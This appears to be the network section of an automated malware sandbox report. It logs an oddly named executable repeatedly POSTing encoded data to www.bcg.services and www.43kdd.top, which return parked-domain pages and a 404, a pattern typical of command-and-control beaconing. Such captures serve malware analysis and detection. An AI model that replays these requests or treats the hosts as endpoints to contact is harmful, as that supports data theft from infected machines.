                                                                                    Data Raw: 64 54 62 34 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 62 6a 65 49 4f 4d 75 31 77 6e 63 4a 34 52 35 49 2f 78 58 72 6d 79 44 44 38 54 41 2b 6a 65 57 76 38 68 56 50 68 33 76 48 45 64 2b 58 76 51 74 43 38 44 50 4c 6a 47 72 53 51 62 4c 33 54 4f 57 58 4a 34 39 6f 78 52 6b 54 64 53 48 2f 71 76 62 4f 68 73 7a 47 69 37 44 2f 62 42 54 68 79 6b 79 52 6c 6c 6d 62 37 76 78 61 44 55 72 70 74 68 65 4f 57 66 36 4d 52 58 39 7a 74 51 70 50 6f 41 69 36 53 7a 57 48 61 67 62 41 7a 6d 57 6f 6b 6c 6d 53 38 77 79 33 30 50 31 30 4e 68 42 58 52 62 48 2f 47 62 71 6f 4a 69 4c 72 30 73 53 5a 41 4d 70 38 7a 56 71 2f 52 67 3d 3d
                                                                                    Data Ascii: dTb4=VSFgwmtnFo8YbjeIOMu1wncJ4R5I/xXrmyDD8TA+jeWv8hVPh3vHEd+XvQtC8DPLjGrSQbL3TOWXJ49oxRkTdSH/qvbOhszGi7D/bBThykyRllmb7vxaDUrptheOWf6MRX9ztQpPoAi6SzWHagbAzmWoklmS8wy30P10NhBXRbH/GbqoJiLr0sSZAMp8zVq/Rg==
                                                                                    Dec 5, 2024 18:22:17.423962116 CET1236INHTTP/1.1 200 OK
                                                                                    date: Thu, 05 Dec 2024 17:22:16 GMT
                                                                                    content-type: text/html; charset=utf-8
                                                                                    content-length: 1114
                                                                                    x-request-id: f0627199-18b3-421c-b152-947cc02fc1f9
                                                                                    cache-control: no-store, max-age=0
                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==
                                                                                    set-cookie: parking_session=f0627199-18b3-421c-b152-947cc02fc1f9; expires=Thu, 05 Dec 2024 17:37:17 GMT; path=/
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 71 4e 57 61 65 36 37 45 56 57 31 49 64 6a 62 79 57 46 50 79 6f 51 4d 4c 54 53 4c 43 6d 43 30 75 41 37 5a 5a 4f 6f 46 6b 43 67 72 45 47 31 41 6d 6f 32 73 44 44 47 58 62 58 32 30 79 33 6c 56 78 52 4f 39 44 4d 4c 78 70 30 52 55 73 6b 46 46 79 43 34 2b 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                    Dec 5, 2024 18:22:17.424561024 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                    Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjA2MjcxOTktMThiMy00MjFjLWIxNTItOTQ3Y2MwMmZjMWY5IiwicGFnZV90aW1lIjoxNzMzNDE5Mz


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    2192.168.2.1149859199.59.243.227802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:19.000020981 CET751OUTPOST /5onp/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.bcg.services
                                                                                    Origin: http://www.bcg.services
                                                                                    Referer: http://www.bcg.services/5onp/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 4a 53 4f 49 4c 71 6d 31 68 58 63 4f 38 68 35 49 74 78 57 69 6d 79 48 44 38 57 35 6a 6a 74 69 76 2f 44 4e 50 7a 6d 76 48 49 39 2b 58 33 41 74 62 32 6a 50 51 6a 47 58 73 51 65 4c 33 54 4f 43 58 4a 39 5a 6f 78 6d 77 51 66 43 48 39 69 50 62 41 76 4d 7a 47 69 37 44 2f 62 42 58 62 79 6b 71 52 6c 32 75 62 71 2b 78 56 41 55 72 6d 71 68 65 4f 53 66 36 49 52 58 39 46 74 55 6f 53 6f 44 61 36 53 79 6d 48 61 52 62 44 6b 57 58 74 36 56 6d 4d 7a 52 4c 46 33 2f 38 4b 4d 58 42 52 63 61 2f 76 4b 39 6e 79 5a 42 43 38 33 2f 61 62 55 71 49 4d 36 6b 50 32 4b 6b 63 6e 47 42 62 62 56 4a 73 73 31 32 47 6a 77 51 78 61 79 75 51 3d
                                                                                    Data Ascii: dTb4=VSFgwmtnFo8YJSOILqm1hXcO8h5ItxWimyHD8W5jjtiv/DNPzmvHI9+X3Atb2jPQjGXsQeL3TOCXJ9ZoxmwQfCH9iPbAvMzGi7D/bBXbykqRl2ubq+xVAUrmqheOSf6IRX9FtUoSoDa6SymHaRbDkWXt6VmMzRLF3/8KMXBRca/vK9nyZBC83/abUqIM6kP2KkcnGBbbVJss12GjwQxayuQ=
                                                                                    Dec 5, 2024 18:22:20.085539103 CET1236INHTTP/1.1 200 OK
                                                                                    date: Thu, 05 Dec 2024 17:22:19 GMT
                                                                                    content-type: text/html; charset=utf-8
                                                                                    content-length: 1114
                                                                                    x-request-id: 26ad5c60-23be-4a3d-852a-ee62d0415465
                                                                                    cache-control: no-store, max-age=0
                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==
                                                                                    set-cookie: parking_session=26ad5c60-23be-4a3d-852a-ee62d0415465; expires=Thu, 05 Dec 2024 17:37:19 GMT; path=/
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 71 4e 57 61 65 36 37 45 56 57 31 49 64 6a 62 79 57 46 50 79 6f 51 4d 4c 54 53 4c 43 6d 43 30 75 41 37 5a 5a 4f 6f 46 6b 43 67 72 45 47 31 41 6d 6f 32 73 44 44 47 58 62 58 32 30 79 33 6c 56 78 52 4f 39 44 4d 4c 78 70 30 52 55 73 6b 46 46 79 43 34 2b 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                    Dec 5, 2024 18:22:20.085727930 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                    Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjZhZDVjNjAtMjNiZS00YTNkLTg1MmEtZWU2MmQwNDE1NDY1IiwicGFnZV90aW1lIjoxNzMzNDE5Mz


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    3192.168.2.1149867199.59.243.227802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:21.897162914 CET1764OUTPOST /5onp/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.bcg.services
                                                                                    Origin: http://www.bcg.services
                                                                                    Referer: http://www.bcg.services/5onp/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 4a 53 4f 49 4c 71 6d 31 68 58 63 4f 38 68 35 49 74 78 57 69 6d 79 48 44 38 57 35 6a 6a 74 36 76 38 77 46 50 68 56 48 48 47 64 2b 58 37 67 74 65 32 6a 50 64 6a 43 37 67 51 65 50 4e 54 4d 36 58 4a 62 56 6f 6d 6a 63 51 57 43 48 39 67 50 62 4e 68 73 79 47 69 37 54 37 62 43 2f 62 79 6b 71 52 6c 33 2b 62 36 66 78 56 4d 30 72 70 74 68 65 61 57 66 36 67 52 57 56 56 74 55 6b 43 70 79 36 36 52 53 32 48 64 7a 6a 44 6d 32 58 76 37 56 6e 66 7a 51 33 65 33 2f 78 37 4d 58 64 37 63 61 48 76 61 36 69 57 45 7a 47 48 6f 4e 72 75 44 38 56 70 36 6b 72 53 4d 30 51 49 4f 78 44 78 46 4f 31 78 36 6a 33 34 30 52 64 64 74 62 55 70 39 36 7a 69 6b 55 33 51 31 41 53 76 4e 4f 56 63 43 5a 6a 53 45 73 43 7a 66 38 47 43 64 6d 2f 44 46 68 7a 63 68 35 4b 4f 7a 62 5a 59 35 64 78 76 2b 58 52 5a 44 79 44 2b 6e 6c 72 49 6c 59 42 36 52 55 38 35 72 56 41 6a 34 41 36 7a 2b 33 79 51 56 37 78 6c 4e 73 75 61 6f 44 39 61 63 34 33 73 4f 70 49 78 38 45 41 32 31 55 53 79 32 61 36 7a 36 44 53 53 62 [TRUNCATED]
                                                                                    Data Ascii: dTb4=VSFgwmtnFo8YJSOILqm1hXcO8h5ItxWimyHD8W5jjt6v8wFPhVHHGd+X7gte2jPdjC7gQePNTM6XJbVomjcQWCH9gPbNhsyGi7T7bC/bykqRl3+b6fxVM0rptheaWf6gRWVVtUkCpy66RS2HdzjDm2Xv7VnfzQ3e3/x7MXd7caHva6iWEzGHoNruD8Vp6krSM0QIOxDxFO1x6j340RddtbUp96zikU3Q1ASvNOVcCZjSEsCzf8GCdm/DFhzch5KOzbZY5dxv+XRZDyD+nlrIlYB6RU85rVAj4A6z+3yQV7xlNsuaoD9ac43sOpIx8EA21USy2a6z6DSSbtCMWvp8kAghkGK/HLvtXC4ARjrJgvcL+bS9wopaeIXYTfFVVOryULHhR8wrKnAu/+8/7qzFWuSX/YFbT6X0r6kqbUbZhdztw+2QDYOjGSQe+bxaELEBbFrbiXngr5B30Q7OUO+OfJCS6CyLC7WV7UEzJ0OPWeqRIysCZf6lpRsa6UUZpFcu55plJM6OXnjIevDPErtvso1+Gjiy3SJYzGANVvWc2BZJI4cvGdGPKSiiYOkBSmY0aEVxG8Hh+RszURnea+s+CJ3R1c2qfbAGhel1KUboQ/Tnd54SDC+wnZuyMBsphrWk/UNfHTjYREsJi+F1MbfyP8F2IPTkMV+864Sxp9W9lX7EzqtfZJCg76me4RB03zJOXOnkn5mDdGXgM6d3u0EX6ptdolngScrsKHkuC6wPMbfesuXATcMuhNlAWL895dRJzo1D7LcOqtdkp805oiHL7Tdckf8Yzd4UXJlsP3wAtLVCXjGFdDI4/RHUEPw1T0zi8PjB/6QC2dfA4scnbQRTHh3JyfE3CKZeaz9YJwEHjG79oV9Fz49YbmTBE6N6K2zZv+PKWksUB1NdhtAnRYcqG9Z9jwCiwWbWy7oK5vsipxGlim9CY222NY/py1gHuNR5zEChMimBrbtBZxe+gn9CHYoOjCrRTiJ1aOjccY7srxzUcyq [TRUNCATED]
                                                                                    Dec 5, 2024 18:22:22.922178030 CET1236INHTTP/1.1 200 OK
                                                                                    date: Thu, 05 Dec 2024 17:22:21 GMT
                                                                                    content-type: text/html; charset=utf-8
                                                                                    content-length: 1114
                                                                                    x-request-id: 72caf1d3-2efa-4948-ade1-85034de679bf
                                                                                    cache-control: no-store, max-age=0
                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==
                                                                                    set-cookie: parking_session=72caf1d3-2efa-4948-ade1-85034de679bf; expires=Thu, 05 Dec 2024 17:37:22 GMT; path=/
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 71 4e 57 61 65 36 37 45 56 57 31 49 64 6a 62 79 57 46 50 79 6f 51 4d 4c 54 53 4c 43 6d 43 30 75 41 37 5a 5a 4f 6f 46 6b 43 67 72 45 47 31 41 6d 6f 32 73 44 44 47 58 62 58 32 30 79 33 6c 56 78 52 4f 39 44 4d 4c 78 70 30 52 55 73 6b 46 46 79 43 34 2b 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                    Dec 5, 2024 18:22:22.922363043 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                    Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNzJjYWYxZDMtMmVmYS00OTQ4LWFkZTEtODUwMzRkZTY3OWJmIiwicGFnZV90aW1lIjoxNzMzNDE5Mz


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    4192.168.2.1149874199.59.243.227802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:24.663175106 CET465OUTGET /5onp/?dTb4=YQtAzQFhELh+NSSoDqDomWI7hzIl6D7m8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+fzOEqsDAm7S1kqbvRDHjk03D4Hi835h1BXQ=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.bcg.services
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:22:25.760046959 CET1236INHTTP/1.1 200 OK
                                                                                    date: Thu, 05 Dec 2024 17:22:24 GMT
                                                                                    content-type: text/html; charset=utf-8
                                                                                    content-length: 1454
                                                                                    x-request-id: 95abd0d2-276c-443c-b659-7c103d4f149c
                                                                                    cache-control: no-store, max-age=0
                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_IG+YVVBvH/CajORcuLxgTNMslBeL5So/ypywuh0XTgSTSTbUWIY2ixixRGOzoh2prJHe5fUJkVDljqhNIAXOdw==
                                                                                    set-cookie: parking_session=95abd0d2-276c-443c-b659-7c103d4f149c; expires=Thu, 05 Dec 2024 17:37:25 GMT; path=/
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 49 47 2b 59 56 56 42 76 48 2f 43 61 6a 4f 52 63 75 4c 78 67 54 4e 4d 73 6c 42 65 4c 35 53 6f 2f 79 70 79 77 75 68 30 58 54 67 53 54 53 54 62 55 57 49 59 32 69 78 69 78 52 47 4f 7a 6f 68 32 70 72 4a 48 65 35 66 55 4a 6b 56 44 6c 6a 71 68 4e 49 41 58 4f 64 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_IG+YVVBvH/CajORcuLxgTNMslBeL5So/ypywuh0XTgSTSTbUWIY2ixixRGOzoh2prJHe5fUJkVDljqhNIAXOdw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                    Dec 5, 2024 18:22:25.760186911 CET907INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                    Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTVhYmQwZDItMjc2Yy00NDNjLWI2NTktN2MxMDNkNGYxNDljIiwicGFnZV90aW1lIjoxNzMzNDE5Mz


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    5192.168.2.114992738.47.232.202802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:22:48.059746981 CET722OUTPOST /bsyy/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.43kdd.top
                                                                                    Origin: http://www.43kdd.top
                                                                                    Referer: http://www.43kdd.top/bsyy/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 39 2f 2b 4d 78 65 50 75 42 70 32 68 50 6c 55 34 79 33 69 4a 59 4b 51 42 54 75 74 6b 79 45 77 34 6f 48 62 45 45 71 74 57 4d 69 56 38 64 4f 73 52 31 39 75 6f 4d 4b 70 43 75 66 70 59 45 48 54 69 79 41 4f 72 4d 76 5a 65 57 44 77 34 6a 61 52 73 37 48 54 67 7a 53 61 52 36 6c 37 54 38 71 39 6e 2b 57 7a 5a 35 76 44 51 30 6d 53 72 65 49 42 6d 55 6b 34 4e 46 41 68 71 7a 57 67 7a 69 44 78 58 45 52 30 74 55 54 4b 34 4f 50 30 4d 2f 36 37 63 77 7a 4f 43 6e 66 2f 36 7a 34 5a 4b 6f 70 78 45 47 52 66 61 73 4e 57 43 74 31 59 4b 31 72 37 63 2f 53 50 67 73 46 43 68 6b 56 44 64 5a 48 4a 4b 67 67 3d 3d
                                                                                    Data Ascii: dTb4=9/+MxePuBp2hPlU4y3iJYKQBTutkyEw4oHbEEqtWMiV8dOsR19uoMKpCufpYEHTiyAOrMvZeWDw4jaRs7HTgzSaR6l7T8q9n+WzZ5vDQ0mSreIBmUk4NFAhqzWgziDxXER0tUTK4OP0M/67cwzOCnf/6z4ZKopxEGRfasNWCt1YK1r7c/SPgsFChkVDdZHJKgg==
                                                                                    Dec 5, 2024 18:22:49.590708017 CET312INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:22:49 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 148
                                                                                    Connection: close
                                                                                    ETag: "66df9b06-94"
